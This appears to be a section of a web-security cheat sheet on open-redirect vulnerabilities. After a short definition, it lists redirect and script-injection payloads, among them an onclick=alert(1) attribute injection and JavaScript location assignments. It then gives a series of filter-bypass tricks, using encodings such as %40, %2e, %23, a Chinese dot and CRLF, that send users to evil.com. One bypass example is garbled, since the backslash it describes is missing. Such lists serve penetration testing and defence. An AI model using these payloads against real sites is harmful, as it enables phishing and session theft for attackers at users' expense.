9. Open Redirect

An open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing. Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.

https://example.com/redirect?url=https://userpreferredsite.com
https://example.com?redirect_to=https://                %22%20accesskey%3dx%20onclick%3dalert(1)%2f%2f

location="http://exodussec.com"

document.location = "http://google.com"

document.location.href="http://google.com"

window.location.assign("http://google.com")

window['location']['href']="http://google.com"

window.name='1;var Uncaught=1;alert(23)';
location='xss_short.html';

Open redirect bypasses

Simply try to change the domain:

?redirect=https://example.com --> ?redirect=https://evil.com

Bypass the filter when protocol is blacklisted using //

?redirect=https://example.com --> ?redirect=//evil.com

Bypass the filter when double slash is blacklisted using \\

?redirect=https://example.com --> ?redirect=levil.com

Bypass the filter when double slash is blacklisted using http: or https:

?redirect=https://example.com --> ?redirect=https:example.com

Bypass the filter using %40

?redirect=example.com --> ?redirect=example.com%40evil.com

Bypass the filter if it only checks for domain name

?redirect=example.com --> ?redirect=example.comevil.com

Bypass the filter if it only checks for domain name using a dot %2e

?redirect=example.com --> ?redirect=example.com%2eevil.com

Bypass the filter if it only checks for domain name using a query/question mark ?

?redirect=example.com --> ?redirect=evil.com?example.com

Bypass the filter if it only checks for domain name using a hash %23

?redirect=example.com --> ?redirect=evil.com%23example.com

Bypass the filter using a symbol

?redirect=example.com --> ?redirect=example.com/°evil.com

Bypass the filter using a url encoded Chinese dot %E3%80%82

?redirect=example.com --> ?redirect=evil.com%E3%80%82%23example.com

Bypass the filter if it only allows you to control the path using a nullbyte %0d or %0a

?redirect=/ --> ?redirect=/%0d/evil.com

Last updated